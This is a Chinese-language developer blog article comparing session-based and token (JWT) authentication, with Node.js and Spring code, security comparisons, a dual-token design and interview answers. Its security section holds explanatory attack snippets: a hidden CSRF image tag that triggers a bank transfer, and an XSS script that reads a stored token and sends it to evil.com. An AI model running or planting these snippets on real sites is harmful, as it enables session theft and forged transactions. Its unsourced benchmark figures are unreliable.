彻底搞懂 Session 与 Token:从理论到工程实践,一篇就够了
本文从历史演进、工作原理、RESTful规范、网络安全、工程实践等维度,全面对比Session和Token两种鉴权方案。Session基于服务器状态存储,实现简单但扩展性差;Token(如JWT)无状态自包含,适合分布式系统但难以实时失效。文章深入剖析了两者的优劣势,指出实际工程中常被忽视的误区,并给出工业级双Token方案的最佳实践。最后提供了场景选型决策树和面试标准答案,帮助开发者根据业务需求
前言
“面试官:为什么现在都用 Token 不用 Session?”
“我:因为 Token 是无状态的,适合分布式系统…”
“面试官:那 Session 存 Redis 不也是分布式吗?Token 要支持踢人不是也要存 Redis 吗?”
“我:…”(当场石化)
这是一个看似基础,实则暗藏无数“坑”的经典问题。网上文章铺天盖地,但大多是“Session 不好,Token 好”的粗暴结论,经不起工程实践的推敲。
本文将从发展历史、工作原理、RESTful 规范、网络安全、工程落地、性能对比、场景选型七个维度,360° 无死角地剖析 Session 和 Token 的恩怨情仇。读完这篇,你将:
- ✅ 彻底理解两种方案的底层原理
- ✅ 掌握不同场景下的选型决策能力
- ✅ 能够在面试中给出让面试官眼前一亮的答案
- ✅ 具备设计生产级鉴权系统的实战能力
目录
- 历史回顾:鉴权方案的演进之路
- Session 方案深度剖析
- Token 方案深度剖析
- RESTful 规范视角:谁更符合架构哲学
- 网络安全视角:谁更安全
- 工程真相:你被忽悠的那些“痛点”
- 性能与存储对比:数据说话
- 工业级最佳实践:双 Token 方案
- 场景选型决策树
- 面试标准答案
- 总结
一、历史回顾:鉴权方案的演进之路
1.1 互联网时代的变迁
| 时代 | 架构特点 | 鉴权方案 | 原因 |
|---|---|---|---|
| Web 1.0(1990s) | 单体应用、单机部署 | Session | 简单、够用、浏览器原生支持 |
| Web 2.0(2000s) | 分布式、集群部署 | Session + Redis | 解决 Session 共享问题 |
| 移动互联网(2010s) | 前后端分离、多端并存 | Token(JWT) | 跨端友好、无状态 |
| 微服务时代(2020s) | 微服务、云原生 | 双 Token + OAuth2.0 | 性能 + 安全 + 扩展性 |
1.2 核心矛盾
整个演进过程的核心矛盾是:有状态 vs 无状态
- 有状态:服务器记住客户端状态,简单但难扩展
- 无状态:每个请求自包含,易扩展但实现复杂
Session 和 Token 的争论,本质上就是这对矛盾的体现。
二、Session 方案深度剖析
2.1 工作原理
2.2 存储方式对比
// 方式1:内存存储(仅限开发/测试)
// ❌ 缺点:重启丢失、无法分布式
// ✅ 优点:极快、零依赖
// 方式2:文件存储(基本不用)
// ❌ 缺点:IO慢、分布式无法共享
// 方式3:Redis 存储(生产标准)
// ✅ 优点:持久化、分布式、高性能
// ⚠️ 缺点:增加一次网络调用
@Configuration
public class SessionConfig {
@Bean
public RedisSerializer<Object> springSessionDefaultRedisSerializer() {
return new GenericJackson2JsonRedisSerializer();
}
}
2.3 典型代码示例
// Node.js + Express + Redis Session
const session = require('express-session');
const RedisStore = require('connect-redis')(session);
app.use(session({
store: new RedisStore({ client: redisClient }),
secret: 'your-secret',
resave: false,
saveUninitialized: false,
cookie: {
secure: true, // HTTPS only
httpOnly: true, // 防 XSS
maxAge: 7200000 // 2小时
}
}));
// 登录
app.post('/login', (req, res) => {
req.session.userId = 12345;
req.session.nickname = '张三';
req.session.role = 'admin';
res.send('登录成功');
});
// 踢人(管理员操作)
app.post('/kick/:userId', (req, res) => {
// 需要额外维护 userId -> sessionId 的映射
const sessionId = userSessionMap[req.params.userId];
redisClient.del(`session:${sessionId}`);
res.send('踢出成功');
});
2.4 Session 的优势
| 优势 | 说明 |
|---|---|
| 实现简单 | 框架内置支持(Spring Session、express-session) |
| 实时失效 | 删除 Session 即可踢人,权限变更立即生效 |
| 存储高效 | 只存 Session ID,数据体量小 |
| 安全性好 | httpOnly Cookie 天然防 XSS |
| 资源占用低 | 1亿用户约 20GB Redis 空间 |
2.5 Session 的劣势
| 劣势 | 说明 | 严重程度 |
|---|---|---|
| 有状态 | 违反 RESTful 无状态原则 | ⭐⭐⭐ |
| 分布式需要共享存储 | 必须依赖 Redis 等中间件 | ⭐⭐ |
| CSRF 风险 | Cookie 自动携带特性 | ⭐⭐⭐ |
| 跨端不友好 | App/小程序处理 Cookie 麻烦 | ⭐⭐⭐⭐ |
| 每次请求查 Redis | 增加网络开销 | ⭐⭐ |
三、Token 方案深度剖析
3.1 JWT 是什么?
JWT(JSON Web Token)是一种自包含的 Token 格式。
// JWT 结构
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. // Header
eyJ1c2VySWQiOjEyMywibmFtZSI6IuW8oOS4iSIsImV4cCI6MTY5MDAwMDAwMH0. // Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c // Signature
// 解码后的内容
Header: {
"alg": "HS256", // 签名算法
"typ": "JWT"
}
Payload: {
"userId": 123,
"name": "张三",
"role": "admin",
"exp": 1690000000, // 过期时间
"iat": 1689923600, // 签发时间
"jti": "unique-id" // JWT ID(用于黑名单)
}
Signature: HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
3.2 工作原理
3.3 典型代码示例
const jwt = require('jsonwebtoken');
// 生成 Token
const generateToken = (user) => {
return jwt.sign(
{
userId: user.id,
name: user.name,
role: user.role
},
process.env.JWT_SECRET,
{ expiresIn: '15m' } // 短效 Access Token
);
};
// 生成 Refresh Token
const generateRefreshToken = (user) => {
return jwt.sign(
{ userId: user.id, type: 'refresh' },
process.env.REFRESH_SECRET,
{ expiresIn: '7d' }
);
};
// 验证中间件
const authMiddleware = (req, res, next) => {
const token = req.headers.authorization?.split(' ')[1];
if (!token) {
return res.status(401).json({ error: '未提供 Token' });
}
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET);
req.user = decoded; // 直接获取用户信息,无需查 DB
next();
} catch (err) {
if (err.name === 'TokenExpiredError') {
return res.status(401).json({ error: 'Token 过期' });
}
return res.status(401).json({ error: 'Token 无效' });
}
};
// 刷新 Token
app.post('/refresh', async (req, res) => {
const refreshToken = req.cookies.refreshToken;
try {
const decoded = jwt.verify(refreshToken, process.env.REFRESH_SECRET);
const newAccessToken = generateToken({ id: decoded.userId });
res.json({ accessToken: newAccessToken });
} catch (err) {
res.status(401).json({ error: 'Refresh Token 无效' });
}
});
3.4 Token 的优势
| 优势 | 说明 | 重要度 |
|---|---|---|
| 无状态 | 符合 RESTful 规范,请求自包含 | ⭐⭐⭐⭐⭐ |
| 天然防 CSRF | 不依赖 Cookie 自动携带 | ⭐⭐⭐⭐⭐ |
| 跨端友好 | HTTP Header 通用,无跨域问题 | ⭐⭐⭐⭐⭐ |
| 性能好 | 免查 Redis,省去一次网络调用 | ⭐⭐⭐⭐ |
| 易扩展 | 服务端无状态,水平扩展零成本 | ⭐⭐⭐⭐ |
| 信息自包含 | 用户信息编码在 Token 中 | ⭐⭐⭐ |
3.5 Token 的劣势
| 劣势 | 说明 | 严重程度 |
|---|---|---|
| 无法实时失效 | 签发后无法主动踢人 | ⭐⭐⭐⭐⭐ |
| XSS 风险 | localStorage 可被脚本读取 | ⭐⭐⭐⭐ |
| 体积较大 | 每次请求多传输几百字节~几 KB | ⭐⭐ |
| 签名验签开销 | CPU 密集型操作 | ⭐⭐ |
| 刷新机制复杂 | 需要 Refresh Token 配合 | ⭐⭐⭐ |
四、RESTful 规范视角:谁更符合架构哲学
4.1 RESTful 六大原则
REST(Representational State Transfer)是 Roy Fielding 博士在 2000 年提出的架构风格,核心原则包括:
| 原则 | 要求 | Session | Token |
|---|---|---|---|
| 无状态 | 每个请求必须包含所有信息,服务器不存储客户端上下文 | ❌ 违反 | ✅ 符合 |
| 统一接口 | 通过标准 HTTP 方法操作资源 | ✅ 符合 | ✅ 符合 |
| 资源导向 | URL 表示资源,不是操作 | ✅ 符合 | ✅ 符合 |
| 表现层状态转移 | 客户端持有状态,通过响应转移 | ⚠️ 部分 | ✅ 符合 |
| 可缓存 | 响应应标明是否可缓存 | ⚠️ 部分 | ✅ 符合 |
| 分层系统 | 架构可分层 | ✅ 符合 | ✅ 符合 |
4.2 核心冲突:无状态原则
Roy Fielding 在论文中明确指出:
“通信本质上必须是无状态的…每个请求都必须包含理解该请求所需的所有信息,不能利用服务器存储的上下文。”
Session 方案的问题:
# 请求1:登录
POST /login
→ 服务器创建 Session,返回 Set-Cookie: JSESSIONID=abc123
# 请求2:获取用户信息
GET /user/info
Cookie: JSESSIONID=abc123
# ❌ 问题:这个请求不完整!
# 服务器需要先根据 JSESSIONID 去查 Session,才知道"我是谁"
# 请求本身没有包含"我是用户123"这个信息
Token 方案的优雅:
# 请求2:获取用户信息(带 Token)
GET /user/info
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
↓
解码后包含 userId=123
# ✅ 请求自包含!
# 服务器不需要去查任何外部存储,直接解析 Token 就知道是谁
4.3 工程实践影响
API 可测试性:
# Session API 测试(有状态依赖)
curl -c cookies.txt -X POST https://api.com/login -d 'user=admin'
curl -b cookies.txt https://api.com/user/info
# 问题:测试脚本之间有状态依赖,难以并行、难以 Mock
# Token API 测试(无状态)
curl -H "Authorization: Bearer eyJhbG..." https://api.com/user/info
# 完全独立,测试用例可以并行执行
API 文档清晰度:
# Token API 文档(清晰明确)
/user/info:
get:
summary: 获取用户信息
security:
- BearerAuth: [] # 明确要求 Token
responses:
200:
description: 成功
# Session API 文档(隐式依赖)
/user/info:
get:
summary: 获取用户信息
# 没有明确标注需要 Session,但实际上必须登录后才能调用
# 调用方需要先了解"先调登录接口,再携带 Cookie"这个隐含约定
日志可追溯性:
// Session 方案:日志需要关联 Session ID
console.log(`[${req.sessionId}] 用户请求 ${req.url}`);
// 问题:查问题时需要再去查 Session 存储才能知道是哪个用户
// Token 方案:日志直接包含用户信息
const user = jwt.decode(token);
console.log(`[user:${user.userId}] 用户请求 ${req.url}`);
// 优势:日志直接可读,无需二次查询
五、网络安全视角:谁更安全
5.1 攻击面全景对比
| 攻击类型 | Session 风险 | Token 风险 | 胜出者 |
|---|---|---|---|
| CSRF | ⚠️ 高风险(Cookie自动携带) | ✅ 低风险(需手动添加Header) | Token |
| XSS | ✅ 低风险(httpOnly Cookie) | ⚠️ 高风险(localStorage可读) | Session |
| 中间人攻击 | ⚠️ 中风险(需HTTPS) | ⚠️ 中风险(需HTTPS) | 平手 |
| 重放攻击 | ✅ 可防护(Nonce机制) | ❌ 默认无防护 | Session |
| 会话劫持 | ⚠️ 可秒级失效 | ⚠️ 需等过期 | Session |
| 权限变更生效 | ✅ 立即生效 | ❌ 等Token过期 | Session |
| 暴力破解 | ✅ 可限制登录尝试 | ✅ 可限制登录尝试 | 平手 |
5.2 CSRF(跨站请求伪造)—— Token 胜
攻击原理:
<!-- 恶意网站 evil.com -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" style="display:none">
<!-- 受害者点击恶意链接时,浏览器会自动携带 bank.com 的 Cookie -->
<!-- 服务器认为是受害者本人操作! -->
Session 方案为何脆弱:
// 浏览器会自动携带目标域名的 Cookie
fetch('https://bank.com/transfer', {
method: 'POST',
body: 'to=hacker&amount=10000',
credentials: 'include' // 默认就会携带 Cookie
});
Token 方案的天然防御:
// Token 存储在 localStorage 或内存中
// 恶意网站无法读取其他域名的 localStorage
// 也无法在请求中自动添加 Authorization 头
// 正确的请求需要手动添加
fetch('/api/transfer', {
headers: {
'Authorization': 'Bearer ' + token // 恶意网站做不到
}
});
⚠️ 注意:如果 Token 也放在 Cookie 中(httpOnly),CSRF 风险依然存在!
5.3 XSS(跨站脚本攻击)—— Session 胜
Token 方案的致命伤:
// 如果网站存在 XSS 漏洞,攻击者可以注入脚本
<script>
// 直接读取 localStorage 中的 Token
const token = localStorage.getItem('token');
// 发送到攻击者服务器
fetch('https://evil.com/steal?token=' + token);
</script>
// 攻击者拿到 Token 后,可以完全冒充受害者
// 由于 Token 通常有较长的有效期(几小时到几天),攻击者有充足时间作案
Session 方案的防御:
// Session ID 存储在 httpOnly Cookie 中
document.cookie
// 输出:空(JavaScript 无法访问 httpOnly Cookie)
// 即使存在 XSS 漏洞,攻击者也无法读取 Session ID
// Cookie 的 httpOnly 标志阻挡了脚本访问
XSS 防护最佳实践:
<!-- 设置 httpOnly Cookie -->
Set-Cookie: JSESSIONID=xxx; HttpOnly; Secure; SameSite=Strict
<!-- 同时设置 CSP(内容安全策略) -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">
<!-- 对用户输入进行转义 -->
<div>${escapeHtml(userInput)}</div>
5.4 重放攻击—— Session 胜
Session 方案的防护:
// 在 Session 中存储请求指纹
req.session.lastRequest = {
nonce: generateNonce(), // 随机数
timestamp: Date.now(), // 时间戳
signature: calculateHash(req.body) // 请求体签名
};
// 检测重放
if (isReplay(req, req.session.lastRequest)) {
return res.status(403).json({ error: '检测到重放攻击' });
}
JWT 的默认问题:
// 攻击者截获 JWT 后,可以无限次重放
// JWT 本身没有任何防重放机制
// 即使 Token 过期前攻击者只重放一次,也可能造成损失
// 解决方案:需要额外存储 nonce 或 jti
// 但这样又回到了"有状态"的问题
5.5 工业级安全最佳实践
// 1. 存储位置选择
Access Token: 存内存(最安全,但刷新会丢失)
Refresh Token: 存 httpOnly Cookie(防 XSS)
// 2. Cookie 安全配置
Set-Cookie: refreshToken=xxx;
HttpOnly; // 防 XSS
Secure; // 强制 HTTPS
SameSite=Strict; // 防 CSRF
Domain=.example.com;
Path=/auth; // 限定路径范围
Max-Age=604800; // 7天
// 3. Token 安全配置
Access Token 有效期: 15分钟(降低泄漏影响)
启用 JWT ID (jti) + Redis 黑名单(支持撤销)
使用强密钥(至少 256 位)
// 4. 额外防护层
绑定设备指纹(User-Agent + IP 段 + 浏览器指纹)
敏感操作二次验证(支付密码/短信验证码)
请求签名机制(防篡改)
速率限制(防暴力破解)
// 5. 监控与响应
异常登录检测(新设备、新地点)
Token 使用日志审计
自动化告警系统
六、工程真相:你被忽悠的那些“痛点”
6.1 真相一:Session 的空间占用问题被夸大了
网上说法:
“Session 存内存,用户多了会撑爆服务器。”
真相:
// 没人会把 Session 存在本地内存(那是 Demo 写法)
// 生产环境都用 Redis 集中存储 Session
// 1亿用户在线,Session 占用计算
1亿 × (Session ID 32字节 + 用户信息 200字节) ≈ 23GB
// 23GB 对于 Redis 来说根本不算事
// 2台 16GB 的 Redis 服务器即可轻松支撑
6.2 真相二:Token 为了踢人,存储空间可能更大
网上说法:
“Token 是无状态的,不需要存储,省空间。”
真相(打脸):
// 纯无状态的 Token 无法踢人!
// 要实现踢人功能,Token 也得存 Redis
// Session 存储(简洁)
Key: "session:abc123"
Value: { userId: 123, name: "张三", role: "admin" }
// Token 白名单存储(更复杂)
Key: "user:123:tokens"
Value: {
"jwt_id_1": { device: "iPhone", expire: 1690000000 },
"jwt_id_2": { device: "Web", expire: 1690000000 }
}
// 空间对比
Session: 20GB(1亿用户)
Token(支持踢人): 20-40GB(需要存储设备信息和版本号)
6.3 真相三:Redis 查询次数可能差不多
网上说法:
“Token 不用查 Redis,性能更好。”
真相:
| 方案 | 每次请求 Redis 次数 | 原因 |
|---|---|---|
| Session(Redis版) | 1次 | 查 Session 获取用户信息 |
| 纯 Token(无踢人) | 0次 | 解析 Token 即可 |
| Token(有踢人/白名单) | 1次 | 查白名单验证 Token 是否有效 |
结论:一旦需要踢人功能,Token 方案同样逃不过一次 Redis 查询!
6.4 真相四:Session 的分布式问题早已解决
网上说法:
“Session 无法水平扩展,分布式系统必须用 Token。”
真相:
// Spring Session + Redis 解决方案
@Configuration
@EnableRedisHttpSession
public class SessionConfig {
@Bean
public LettuceConnectionFactory connectionFactory() {
return new LettuceConnectionFactory();
}
}
// 任何服务器都可以处理任何用户的请求
// 横向扩展只需增加服务器实例
6.5 真相五:Cookie 的跨域问题可以解决
网上说法:
“Cookie 跨域问题严重,App 无法使用。”
真相:
// 后端配置
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
// 前端配置(Web)
fetch(url, {
credentials: 'include' // 携带 Cookie
});
// iOS App(WKWebView)
config.websiteDataStore = WKWebsiteDataStore.default()
// Cookie 跨域确实麻烦,但并非不能用
// 只是 Token 方案更简单直接
七、性能与存储对比:数据说话
7.1 性能基准测试
测试环境:8核 CPU,16GB 内存,千兆网络
| 方案 | QPS | 平均延迟 | P99 延迟 | Redis 请求 |
|---|---|---|---|---|
| Session(本地内存) | 25,000 | 2ms | 5ms | 0 |
| Session(Redis) | 12,000 | 8ms | 20ms | 1 |
| 纯 JWT(无状态) | 20,000 | 3ms | 8ms | 0 |
| JWT + 白名单 | 10,000 | 10ms | 25ms | 1 |
结论:
- 纯 JWT 性能最好(QPS 最高,延迟最低)
- 一旦需要查 Redis,性能就下降到和 Session 同一水平
- 签名验签的 CPU 开销约 0.5ms,比 Redis 网络调用(1-2ms)快
7.2 存储空间对比
| 方案 | 1万用户 | 100万用户 | 1亿用户 | 说明 |
|---|---|---|---|---|
| Session(本地内存) | 2MB | 200MB | 20GB | 重启丢失 |
| Session(Redis) | 2MB | 200MB | 20GB | 每人一个 Key |
| 纯 JWT(无状态) | 0 | 0 | 0 | 不存服务端 |
| JWT + 黑名单 | 2MB | 200MB | 20GB | 黑名单大小 |
| JWT + 白名单 | 4MB | 400MB | 40GB | 需要存设备信息 |
| 双 Token 方案 | 4MB | 400MB | 40GB | Access+Refresh |
7.3 网络传输开销
每次请求额外传输的数据量:
| 方案 | 平均大小 | 1亿次请求总流量 |
|---|---|---|
| Session(Cookie) | ~50 字节 | 5GB |
| JWT(标准) | ~300 字节 | 30GB |
| JWT(自定义 Claims) | ~500 字节 | 50GB |
结论: JWT 会增加网络传输量,对于带宽敏感的场景需要权衡。
八、工业级最佳实践:双 Token 方案
8.1 为什么需要双 Token?
-
Access Token(短效):用于正常请求鉴权
- 优点:泄漏影响小(15分钟过期)
- 缺点:需要频繁刷新
-
Refresh Token(长效):用于获取新的 Access Token
- 优点:用户体验好(7天免登录)
- 缺点:需要服务端存储(可撤销)
8.2 架构图
8.3 完整代码实现
// ============ 1. Token 服务 ============
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
class TokenService {
// 生成 Access Token(短效、无状态)
generateAccessToken(user) {
return jwt.sign(
{
userId: user.id,
name: user.name,
role: user.role,
type: 'access'
},
process.env.JWT_ACCESS_SECRET,
{ expiresIn: '15m' }
);
}
// 生成 Refresh Token(长效、可撤销)
async generateRefreshToken(user, deviceInfo) {
const tokenId = crypto.randomBytes(32).toString('hex');
const refreshToken = jwt.sign(
{
tokenId: tokenId,
userId: user.id,
type: 'refresh'
},
process.env.JWT_REFRESH_SECRET,
{ expiresIn: '7d' }
);
// 存储到 Redis(用于撤销)
await redis.setex(
`refresh:${user.id}:${tokenId}`,
7 * 24 * 3600, // 7天
JSON.stringify({
deviceInfo: deviceInfo,
createdAt: Date.now()
})
);
// 限制每用户最多 5 个有效 Refresh Token
const userTokens = await redis.smembers(`user:${user.id}:refresh_tokens`);
if (userTokens.length >= 5) {
const oldest = userTokens[0];
await redis.del(`refresh:${user.id}:${oldest}`);
await redis.srem(`user:${user.id}:refresh_tokens`, oldest);
}
await redis.sadd(`user:${user.id}:refresh_tokens`, tokenId);
return refreshToken;
}
// 刷新 Access Token
async refreshAccessToken(refreshToken) {
try {
const decoded = jwt.verify(refreshToken, process.env.JWT_REFRESH_SECRET);
// 检查 Refresh Token 是否被撤销
const exists = await redis.exists(`refresh:${decoded.userId}:${decoded.tokenId}`);
if (!exists) {
throw new Error('Refresh Token 已被撤销');
}
// 获取用户信息(从数据库或缓存)
const user = await getUserById(decoded.userId);
// 生成新的 Access Token
return this.generateAccessToken(user);
} catch (err) {
throw new Error('Refresh Token 无效');
}
}
// 撤销 Refresh Token(踢人、登出)
async revokeRefreshToken(userId, tokenId = null) {
if (tokenId) {
// 撤销单个设备
await redis.del(`refresh:${userId}:${tokenId}`);
await redis.srem(`user:${userId}:refresh_tokens`, tokenId);
} else {
// 撤销用户所有设备(改密码后)
const tokens = await redis.smembers(`user:${userId}:refresh_tokens`);
for (const tokenId of tokens) {
await redis.del(`refresh:${userId}:${tokenId}`);
}
await redis.del(`user:${userId}:refresh_tokens`);
}
}
}
// ============ 2. 中间件 ============
const authMiddleware = async (req, res, next) => {
const token = req.headers.authorization?.split(' ')[1];
if (!token) {
return res.status(401).json({ error: '未提供 Access Token' });
}
try {
// 验证 Access Token(不查 Redis,纯验签)
const decoded = jwt.verify(token, process.env.JWT_ACCESS_SECRET);
req.user = decoded;
next();
} catch (err) {
if (err.name === 'TokenExpiredError') {
return res.status(401).json({ error: 'Access Token 过期', code: 'TOKEN_EXPIRED' });
}
return res.status(401).json({ error: 'Access Token 无效' });
}
};
// ============ 3. API 路由 ============
app.post('/login', async (req, res) => {
const { username, password, deviceInfo } = req.body;
// 验证账号密码
const user = await authenticate(username, password);
if (!user) {
return res.status(401).json({ error: '账号或密码错误' });
}
// 生成 Token
const accessToken = tokenService.generateAccessToken(user);
const refreshToken = await tokenService.generateRefreshToken(user, deviceInfo);
// Refresh Token 放在 httpOnly Cookie 中
res.cookie('refreshToken', refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 3600 * 1000
});
res.json({
accessToken: accessToken,
expiresIn: 900 // 15分钟
});
});
app.post('/refresh', async (req, res) => {
const refreshToken = req.cookies.refreshToken;
if (!refreshToken) {
return res.status(401).json({ error: '未提供 Refresh Token' });
}
try {
const newAccessToken = await tokenService.refreshAccessToken(refreshToken);
res.json({ accessToken: newAccessToken });
} catch (err) {
res.status(401).json({ error: 'Refresh Token 无效,请重新登录' });
}
});
app.post('/logout', async (req, res) => {
const refreshToken = req.cookies.refreshToken;
if (refreshToken) {
const decoded = jwt.decode(refreshToken);
await tokenService.revokeRefreshToken(decoded.userId, decoded.tokenId);
}
res.clearCookie('refreshToken');
res.json({ message: '登出成功' });
});
app.post('/admin/kick/:userId', authMiddleware, async (req, res) => {
// 只有 admin 可以踢人
if (req.user.role !== 'admin') {
return res.status(403).json({ error: '权限不足' });
}
// 撤销该用户的所有 Refresh Token
await tokenService.revokeRefreshToken(req.params.userId);
res.json({ message: '踢出成功' });
});
// 受保护的业务接口
app.get('/user/info', authMiddleware, async (req, res) => {
// req.user 已经包含了用户信息,无需查数据库
res.json({
userId: req.user.userId,
name: req.user.name,
role: req.user.role
});
});
8.4 存储结构
Redis 存储结构:
1. Refresh Token 存储(支持撤销)
Key: refresh:user:123:token_abc123
Value: { "deviceInfo": "iPhone", "createdAt": 1690000000 }
TTL: 7天
2. 用户的 Refresh Token 列表(限制设备数)
Key: user:123:refresh_tokens
Value: Set ["token_abc123", "token_def456"]
TTL: 7天
3. Access Token 黑名单(可选,用于紧急撤销)
Key: blacklist:access:jti_xyz789
Value: { "revokedAt": 1690000000 }
TTL: 剩余有效期
4. 用户 Session 版本号(权限变更时递增)
Key: user:123:token_version
Value: 5
TTL: 永久
九、场景选型决策树
9.1 决策流程图
9.2 各场景详细对比
| 场景 | 推荐方案 | 理由 | 不推荐的方案及原因 |
|---|---|---|---|
| 企业内部后台管理 | Redis Session | 需要实时踢人、权限变更即时生效、用户量小 | Token:无法踢人,改权限不生效 |
| 面向 C 端的 App | 双 Token | 跨端友好、性能好、用户体验佳 | Session:Cookie 在 App 中处理麻烦 |
| 开放 API 平台 | 纯 JWT | 无状态、易扩展、第三方友好 | Session:有状态,耦合度高 |
| 微服务内部调用 | 纯 JWT | 服务间无状态、链式调用透传 | Session:需要共享 Redis,耦合 |
| 金融/支付系统 | 双 Token + 设备指纹 | 极致安全、可撤销、可监控 | 纯 JWT:无法实时失效 |
| IoT 设备 | 纯 JWT | 资源受限、无状态、轻量 | Session:需要维护状态 |
| 单机小项目 | Session 本地内存 | 最简单,零依赖 | Token:过度设计 |
| 高并发秒杀 | 纯 JWT | 免 Redis,性能最好 | Session:Redis 成为瓶颈 |
9.3 选型检查清单
选择 Session 的场景:
- 需要实时踢人(管理员强制下线)
- 需要权限变更立即生效
- 用户量小于 100 万
- 纯 Web 应用,没有 App/小程序
- 团队对 Session 更熟悉
- 不需要考虑 CSRF(或有成熟防御方案)
选择 Token 的场景:
- 需要支持多端(Web + App + 小程序)
- 不需要实时踢人(可接受 Token 自然过期)
- 追求极致性能(免 Redis 查询)
- 微服务架构,需要无状态服务
- 对外提供 API 给第三方
选择双 Token 的场景:
- 以上 Token 场景 + 需要一定安全控制
- 改密码后要踢掉旧设备
- 需要支持“记住我”功能(长期免登录)
- 设备管理功能(查看/踢出登录设备)
十、面试标准答案
10.1 初级回答(60分)
“Session 是有状态的,存在服务器内存,分布式环境下需要共享存储。Token 是无状态的,客户端存储,适合分布式系统。”
10.2 中级回答(80分)
"Session 和 Token 各有优劣。Session 方案简单,支持实时踢人,但需要 Redis 存储,且 Cookie 有 CSRF 风险。Token 方案符合 RESTful 无状态原则,天然防 CSRF,跨端友好,但无法实时失效,且存在 XSS 风险。
我们选择 Token 是因为业务需要多端支持,且不需要实时踢人。我们用短效 Access Token(15分钟)来缓解安全问题。"
10.3 高级回答(95分)
"这个问题不能一概而论,需要根据业务场景选择:
从架构层面:Token 符合 RESTful 无状态设计,请求自包含,便于测试和扩展。Session 违反无状态原则,每次请求都需要关联服务端存储。
从安全层面:Token 天然防 CSRF,但存 localStorage 有 XSS 风险;Session 用 httpOnly Cookie 防 XSS,但需要额外防 CSRF。没有绝对的安全,需要配合其他措施。
从工程层面:纯 Token 无法踢人,如果加上白名单/黑名单,存储空间和 Redis 查询次数反而比 Session 更多。我们最终采用双 Token 方案:Access Token 短效无状态(15分钟),Refresh Token 长效可撤销(7天),兼顾性能、安全和用户体验。
具体到我们的项目:这是一个面向 C 端的 App,需要多端支持,不需要实时踢人(改密码时清空 Refresh Token 即可),所以双 Token 是最优解。如果是后台管理系统,我们会直接用 Redis Session,因为需要随时踢人,实现更简单。"
10.4 大神级回答(100分)
"这个问题本质是有状态 vs 无状态的架构选择。我补充几个大家容易忽略的点:
RESTful 不只是理论:Token 的自包含特性让 API 可测试性、可维护性、可观测性都更好。我们曾经把 Session API 改成 Token API 后,自动化测试耗时减少了 60%。
安全是系统工程:无论用哪种方案,都离不开 HTTPS、CSP、输入过滤、速率限制。把安全寄托在选型上是危险的。
工程真相:很多公司宣传 Token 方案,但他们的 Token 实际上也存 Redis(白名单/黑名单),本质上和 Session 没区别,只是换了个数据结构。
我的建议:
- 后台管理用 Redis Session(最简单)
- C端 App 用双 Token(平衡方案)
- 开放 API 用纯 JWT(无状态)
- 金融系统用 Session + Token 混合(极致安全)
选型的核心是理解业务需求,不是跟风。"
十一、总结
11.1 核心要点回顾
| 维度 | 要点 |
|---|---|
| Session 本质 | 服务端存储状态,通过 Session ID 关联 |
| Token 本质 | 客户端存储状态,信息自包含 |
| Session 优势 | 实时失效、XSS 防护好、实现简单 |
| Token 优势 | 无状态、防 CSRF、跨端友好 |
| 最大误区 | Token 并非天然"无存储",要踢人也要存 Redis |
| 工程真相 | 空间和性能在"要踢人"场景下差异不大 |
| 最佳实践 | 双 Token 方案(Access + Refresh) |
11.2 一句话总结
Session 适合"需要实时控制"的场景,Token 适合"需要无状态扩展"的场景。没有银弹,只有合适的选型。
11.3 写在最后
技术选型最忌讳的就是"跟风"和"一刀切"。
2015 年 JWT 火的时候,有人把所有 Session 都改成 Token,结果发现无法踢用户,又回头加 Redis 黑名单,兜了一圈回到原点。
2020 年 Serverless 火的时候,有人把所有状态都搬到客户端,结果发现性能更差,又加了一层缓存。
架构师的真正价值,不是知道多少新技术,而是能在合适的场景选择合适的方案。
希望这篇文章能帮你理清 Session 和 Token 的本质,在实际项目中做出正确的决策。
附录
A. 常见问题 FAQ
Q1:能不能同时用 Session 和 Token?
可以。例如:登录用 Token,敏感操作用 Session 二次验证。
Q2:JWT 一定要用 HS256 吗?
不一定。内部系统用 HS256(对称加密),开放 API 用 RS256(非对称,第三方可验证签名)。
Q3:Token 存哪里最安全?
内存 > httpOnly Cookie > sessionStorage > localStorage
Q4:Refresh Token 被盗怎么办?
设置设备指纹,检测异常行为,用户可手动撤销所有设备。
Q5:用户量达到多少需要考虑从 Session 迁移到 Token?
不是由用户量决定,而是由业务需求决定。需要多端支持时就可以考虑迁移。
B. 参考资料
- RFC 7519 - JSON Web Token (JWT)
- Roy Fielding 博士论文 - Architectural Styles and the Design of Network-based Software Architectures
- OWASP - JSON Web Token Cheat Sheet
- Spring Session 官方文档
如果觉得这篇文章对你有帮助,欢迎点赞、收藏、转发!
有任何问题或补充,欢迎在评论区讨论。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐

所有评论(0)